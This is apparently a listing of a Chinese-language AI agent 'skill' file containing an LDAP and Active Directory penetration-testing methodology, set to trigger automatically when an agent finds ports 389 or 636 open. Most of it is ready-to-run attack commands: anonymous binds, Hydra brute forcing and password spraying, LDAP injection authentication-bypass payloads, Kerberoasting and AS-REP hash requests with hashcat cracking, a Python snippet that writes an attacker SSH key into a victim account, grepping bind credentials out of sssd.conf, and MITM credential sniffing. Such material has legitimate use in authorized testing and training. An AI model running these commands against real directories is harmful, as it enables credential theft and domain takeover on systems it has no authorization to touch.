ldap-pentesting

$npx mdskill add wgpsec/AboutSecurity/ldap-pentesting

Execute LDAP penetration tests on exposed directory services.

  • Recover user groups, computers, and password policies from directories.
  • Integrates with LDAP servers on ports 389, 636, 3268, and 3269.
  • Decides execution by detecting open ports and testing anonymous binds.
  • Outputs attack phases including injection, Kerberoasting, and certificate analysis.

SKILL.md

.github/skills/ldap-pentestingView on GitHub ↗
---
name: ldap-pentesting
description: |
  LDAP 服务(389/636/3268/3269 端口)渗透测试方法论。涵盖 LDAP 服务发现与版本识别、匿名绑定测试、目录信息枚举(用户/组/计算机/OU)、LDAP 注入、密码策略提取、Kerberoasting 关联、LDAPS 证书分析。
  当 Agent 扫描发现 389/636 端口开放、需要枚举 Active Directory 信息、测试 LDAP 匿名访问、或通过 LDAP 收集域信息时,触发此 Skill。
metadata:
  tags:
    - ldap
    - 目录服务
    - 389端口
    - 636端口
    - active-directory
    - ldapsearch
    - 匿名绑定
  category: exploit/network-service
---

# LDAP 渗透测试方法论 (389/636/3268/3269)

## 深入参考

- LDAP 枚举与利用技术大全(ldapsearch / windapsearch / NetExec / Python / LDAP 注入) -> 读 [references/ldap-techniques.md](references/ldap-techniques.md)

---

## 整体决策树

```
发现 389/636/3268/3269 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 LDAP 服务类型 (Active Directory / OpenLDAP / 其他)
│   ├─ 获取 Naming Context / Base DN
│   └─ 判断是否启用 LDAPS (636/3269)
│       ├─ 是 -> Phase 7 证书分析 + 仍尝试 389 明文端口
│       └─ 否 -> 可嗅探明文凭据 (MITM)
├─ Phase 2: 匿名绑定测试
│   ├─ 匿名绑定成功 -> 进入 Phase 3 全面枚举
│   └─ 匿名绑定失败
│       ├─ 尝试 TLS SNI 绕过
│       ├─ 尝试已知凭据 / 密码喷洒
│       └─ 转向其他服务获取凭据后回来
├─ Phase 3: 目录枚举
│   ├─ 用户枚举 (sAMAccountName / userPrincipalName)
│   ├─ 组枚举 (Domain Admins / Enterprise Admins / 特权组)
│   ├─ 计算机枚举
│   ├─ OU 结构映射
│   └─ 敏感属性提取 (description / userPassword / sshPublicKey)
├─ Phase 4: LDAP 注入
│   ├─ Web 应用 LDAP 查询注入
│   └─ 盲注 (布尔型 / 错误型)
├─ Phase 5: 密码策略提取
│   ├─ 域密码策略 (lockoutThreshold / maxPwdAge)
│   └─ 细粒度密码策略 (PSO)
├─ Phase 6: Kerberoasting 关联
│   ├─ 查找 SPN 账户 (servicePrincipalName)
│   └─ 查找 AS-REP Roastable 账户 (DONT_REQUIRE_PREAUTH)
└─ Phase 7: 已知漏洞与后渗透
    ├─ LDAPS 证书分析 (域名 / SAN 泄露)
    ├─ 可写属性利用 (sshPublicKey / msDS-AllowedToActOnBehalfOfOtherIdentity)
    ├─ 客户端配置文件泄露 (sssd.conf / nslcd.conf)
    └─ LDAP 数据库直接提取 (本地访问)
```

---

## Phase 1: 服务发现与版本识别

### 1.1 端口扫描与脚本枚举

```bash
# Nmap 服务版本探测 + LDAP 脚本
nmap -sV -sC -p 389,636,3268,3269 <IP>

# Nmap LDAP 专项脚本 (排除暴力破解)
nmap -n -sV --script "ldap* and not brute" <IP>
```

### 1.2 获取 Naming Context (Base DN)

```bash
# 查询 Root DSE — 不需要认证
ldapsearch -x -H ldap://<IP> -s base namingcontexts

# 查询完整 Root DSE 信息
ldapsearch -x -H ldap://<IP> -s base '(objectClass=*)' '*' +
```

**关键判断**:
- `defaultNamingContext` -> 域的 Base DN (如 `DC=corp,DC=local`)
- `rootDomainNamingContext` -> 森林根域
- `configurationNamingContext` -> 配置分区,含站点/子网拓扑
- 存在 `forestFunctionality` / `domainFunctionality` -> Active Directory 环境

### 1.3 LDAPS 检测

```bash
# 测试 LDAPS 连接 (636)
nmap -sV -p 636 <IP>
openssl s_client -connect <IP>:636

# 测试 Global Catalog over SSL (3269)
openssl s_client -connect <IP>:3269
```

---

## Phase 2: 匿名绑定测试

### 2.1 匿名绑定决策树

```
尝试匿名绑定
├─ 1) ldapsearch 空凭据
│   └─ ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<DOMAIN>,DC=<TLD>"
│       ├─ 返回数据 -> 匿名绑定成功,进入 Phase 3
│       └─ "bind must be completed" -> 匿名绑定被禁用
├─ 2) TLS SNI 绕过 (LDAPS)
│   └─ ldapsearch -H ldaps://<DOMAIN>:636/ -x -s base -b '' "(objectClass=*)" "*" +
├─ 3) NetExec null bind
│   └─ netexec ldap <IP> -u '' -p '' --query "(objectClass=*)" ""
│       ├─ 返回对象 -> 匿名绑定成功
│       └─ Operations error -> 需要认证
└─ 4) Python ldap3 库
    └─ -> 读 references/ldap-techniques.md #Python枚举
```

### 2.2 已知凭据认证

```bash
# 使用域凭据绑定
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<DOMAIN>,DC=<TLD>"

# Kerberos 认证 (无需明文密码)
ldapsearch -Y GSSAPI -H ldap://<IP> -b "DC=<DOMAIN>,DC=<TLD>"
```

### 2.3 凭据暴力破解

```bash
# Hydra LDAP 暴力破解
hydra -l <username> -P <wordlist> <IP> ldap2 -V -f

# NetExec 密码喷洒
netexec ldap <IP> -u users.txt -p 'Password1' --continue-on-success
```

---

## Phase 3: 目录枚举

### 3.1 全量导出 (ldapdomaindump)

```bash
# 一站式域信息导出 — 生成 HTML/JSON/GREP 格式
pip3 install ldapdomaindump
ldapdomaindump <IP> -u '<DOMAIN>\<user>' -p '<password>' --no-json --no-grep [-o output_dir]
```

### 3.2 用户枚举

```bash
# 提取所有用户
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Users,DC=<DOMAIN>,DC=<TLD>" "(objectClass=person)" \
  sAMAccountName userPrincipalName memberOf description

# 提取 Domain Admins 组成员
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Domain Admins,CN=Users,DC=<DOMAIN>,DC=<TLD>"

# 提取 Enterprise Admins
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Enterprise Admins,CN=Users,DC=<DOMAIN>,DC=<TLD>"

# 提取 Administrators
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Administrators,CN=Builtin,DC=<DOMAIN>,DC=<TLD>"
```

### 3.3 计算机与 OU 枚举

```bash
# 提取计算机对象
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Computers,DC=<DOMAIN>,DC=<TLD>" "(objectClass=computer)" \
  cn operatingSystem operatingSystemVersion dNSHostName

# 提取 OU 结构
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" "(objectClass=organizationalUnit)" ou distinguishedName
```

### 3.4 NetExec 枚举 (匿名 / 认证)

```bash
# 匿名枚举对象
netexec ldap <IP> -u '' -p '' --query "(objectClass=*)" ""

# 匿名提取用户名列表
netexec ldap <IP> -u '' -p '' --query "(sAMAccountName=*)" "" \
  | awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt

# 认证枚举 + BloodHound 数据采集
netexec ldap <IP> -u <USER> -p <PASS> --bloodhound -c All -d <DOMAIN> \
  --dns-server <IP> --dns-tcp
```

### 3.5 windapsearch

```bash
# 获取域管理员
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --da

# 获取特权用户
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --privileged-users

# 获取所有用户/组/计算机
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --users
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --groups
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --computers
```

### 3.6 敏感属性搜索

```
敏感属性检查
├─ description 字段 -> 管理员常在此存放临时密码
├─ userPassword 属性 -> OpenLDAP 环境可能存在
├─ unixUserPassword -> Linux 集成环境
├─ sshPublicKey -> SSH 公钥,可写则可劫持
├─ msDS-AllowedToActOnBehalfOfOtherIdentity -> RBCD 攻击面
└─ adminCount=1 -> 标记受 AdminSDHolder 保护的高权限账户
```

```bash
# 搜索 description 字段含密码线索
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" "(&(objectClass=user)(description=*))" \
  sAMAccountName description

# 搜索含 userPassword 属性的对象
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" "(&(objectClass=person))" userPassword
```

---

## Phase 4: LDAP 注入

### 4.1 注入原理

Web 应用通过拼接用户输入构建 LDAP 查询时,可注入恶意过滤器。

### 4.2 注入测试决策树

```
发现 Web 应用使用 LDAP 后端认证/查询
├─ 认证绕过
│   ├─ 用户名: *  密码: *  -> 通配符绕过
│   ├─ 用户名: admin)(|(password=*  -> 过滤器注入
│   └─ 用户名: admin)(&)  -> 恒真条件
├─ 信息泄露 (盲注)
│   ├─ 布尔型: 逐字符猜解属性值
│   │   └─ (&(uid=admin)(userPassword=a*)) -> 响应差异判断
│   └─ 错误型: 构造畸形过滤器触发错误信息
└─ 常见注入字符: * ( ) \ / NUL
```

### 4.3 常见 Payload

```
# 认证绕过
user=*)(uid=*))(|(uid=*
pass=anything

# 属性枚举 (盲注)
(&(uid=admin)(userPassword=FUZZ*))
(&(uid=admin)(description=FUZZ*))

# 通配符测试
(&(objectClass=*)(uid=*))
```

**注意**:LDAP 注入在现代框架中已较少见,但在内部遗留应用和嵌入式设备管理界面中仍可能存在。

---

## Phase 5: 密码策略提取

### 5.1 域默认密码策略

```bash
# 通过 LDAP 查询域密码策略
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" "(objectClass=domain)" \
  minPwdLength maxPwdAge minPwdAge lockoutThreshold lockoutDuration \
  pwdHistoryLength pwdProperties

# NetExec 查询
netexec ldap <IP> -u <USER> -p <PASS> --pass-pol
```

### 5.2 细粒度密码策略 (PSO)

```bash
# 查询 Password Settings Objects
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Password Settings Container,CN=System,DC=<DOMAIN>,DC=<TLD>" \
  "(objectClass=msDS-PasswordSettings)" \
  msDS-LockoutThreshold msDS-MinimumPasswordLength msDS-PSOAppliesTo
```

**关键判断**:
- `lockoutThreshold=0` -> 无锁定策略,可安全暴力破解
- `lockoutThreshold>0` -> 记录阈值和 `lockoutObservationWindow`,控制喷洒速率
- PSO 可能对特权账户设置更严格策略

---

## Phase 6: Kerberoasting 关联

### 6.1 查找 SPN 账户

```bash
# 查找设置了 SPN 的用户账户 (非计算机账户)
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" \
  "(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))" \
  sAMAccountName servicePrincipalName memberOf

# windapsearch 快捷方式
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --da
```

**关键判断**:
- SPN 账户属于高权限组 -> 高价值 Kerberoasting 目标
- `pwdLastSet` 较旧 -> 密码可能较弱,更易破解

### 6.2 查找 AS-REP Roastable 账户

```bash
# 查找未启用 Kerberos 预认证的账户 (UAC flag 0x400000)
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName userAccountControl
```

### 6.3 后续攻击

```
Kerberoasting 路径
├─ 找到 SPN 账户 -> GetUserSPNs.py 请求 TGS
│   └─ impacket-GetUserSPNs -dc-ip <IP> <DOMAIN>/<user>:<pass> -request
├─ 找到 AS-REP Roastable 账户 -> GetNPUsers.py 请求 AS-REP
│   └─ impacket-GetNPUsers -dc-ip <IP> <DOMAIN>/ -usersfile users.txt -no-pass
└─ 获取哈希 -> hashcat / john 离线破解
    ├─ Kerberoast: hashcat -m 13100 hash.txt wordlist.txt
    └─ AS-REP: hashcat -m 18200 hash.txt wordlist.txt
```

---

## Phase 7: 已知漏洞与后渗透

### 7.1 LDAPS 证书分析

```bash
# 提取 LDAPS 证书信息
openssl s_client -connect <IP>:636 </dev/null 2>/dev/null | openssl x509 -noout -text

# 关注项:
# - Subject / SAN: 泄露内部域名、主机名
# - Issuer: 内部 CA 信息
# - Validity: 过期证书可能接受任意证书 (MITM)
```

### 7.2 可写属性利用

```
发现 LDAP 可写权限
├─ sshPublicKey 可写 -> 注入攻击者公钥,SSH 登录目标
├─ msDS-AllowedToActOnBehalfOfOtherIdentity 可写 -> RBCD 攻击
├─ servicePrincipalName 可写 -> Targeted Kerberoasting
├─ userAccountControl 可修改 -> 禁用预认证 (AS-REP Roasting)
└─ member 属性可写 -> 将自身添加到特权组
```

```python
# Python ldap3 — 写入 sshPublicKey 示例
import ldap3
server = ldap3.Server('<IP>', port=636, use_ssl=True)
conn = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=TLD', 'PASSWORD', auto_bind=True)
conn.modify('uid=TARGET,ou=USERS,dc=DOMAIN,dc=TLD', {
    'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA...attacker_key'])]
})
```

### 7.3 Linux 客户端配置泄露

```bash
# 检查 LDAP 客户端配置文件
ls -la /etc/sssd/sssd.conf /etc/nslcd.conf /etc/ldap/ldap.conf /etc/krb5.conf 2>/dev/null

# 搜索明文绑定凭据
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\s*=' \
  /etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null
```

**关键检查项**:
- `sssd.conf` / `nslcd.conf` 全局可读 -> 明文绑定凭据泄露
- `ldap_default_bind_dn` + `ldap_default_authtok` -> 可复用的 LDAP 绑定凭据
- 目录集成 SSH/sudo -> 可读配置转化为实际授权影响

### 7.4 LDAP 数据库直接提取 (本地访问)

```bash
# 已获取服务器 shell 后,直接提取 LDAP 数据库中的哈希
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
# 提取的 {SSHA} 哈希可用 john 破解
```

### 7.5 LDAP 流量嗅探与 MITM

```
明文 LDAP (389) 环境
├─ 网络嗅探 -> tcpdump/Wireshark 捕获绑定凭据
├─ MITM 降级攻击
│   ├─ 拦截 LDAP 通信
│   └─ 强制客户端使用简单绑定 (明文密码)
└─ LDAPS 环境 -> 伪造证书 MITM
    └─ 客户端不验证证书 -> 降级后嗅探凭据
```

### 7.6 配置文件路径参考

| 配置文件 | 适用环境 |
|---------|---------|
| `slapd.conf` | OpenLDAP |
| `ldap.conf` / `ldap.cfg` | 通用 LDAP 客户端 |
| `containers.ldif` | 通用 |
| `ldap.xml` / `ldap-config.xml` / `ldap-realm.xml` | Java 应用 |
| `msadClassesAttrs.ldif` | Microsoft AD |
| `V3.sas.oc` | IBM SecureWay |
| `nsslapd.sas_at.conf` / `nsslapd.sas_oc.conf` | Netscape Directory |
| `75sas.ldif` | Sun ONE Directory |

---

## 凭据明文嗅探提醒

如果目标使用 **389 端口明文 LDAP**(未启用 STARTTLS),所有绑定操作中的凭据均可被网络嗅探捕获。在渗透测试报告中应标记此风险,即使未直接利用。

---

## 图形化工具

当命令行枚举受限或需要交互式浏览目录树时:

| 工具 | 说明 |
|------|------|
| [Apache Directory Studio](https://directory.apache.org/studio/) | 跨平台 LDAP 浏览器,功能全面 |
| [JXplorer](http://www.jxplorer.org/) | Java LDAP 浏览器 (默认 /opt/jxplorer) |
| [Godap](https://github.com/Macmod/godap) | 终端 TUI,支持 simple bind / PtH / PtT / PtC |
| [Ldapx](https://github.com/Macmod/ldapx) | LDAP 代理,流量混淆绕过监控 |

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|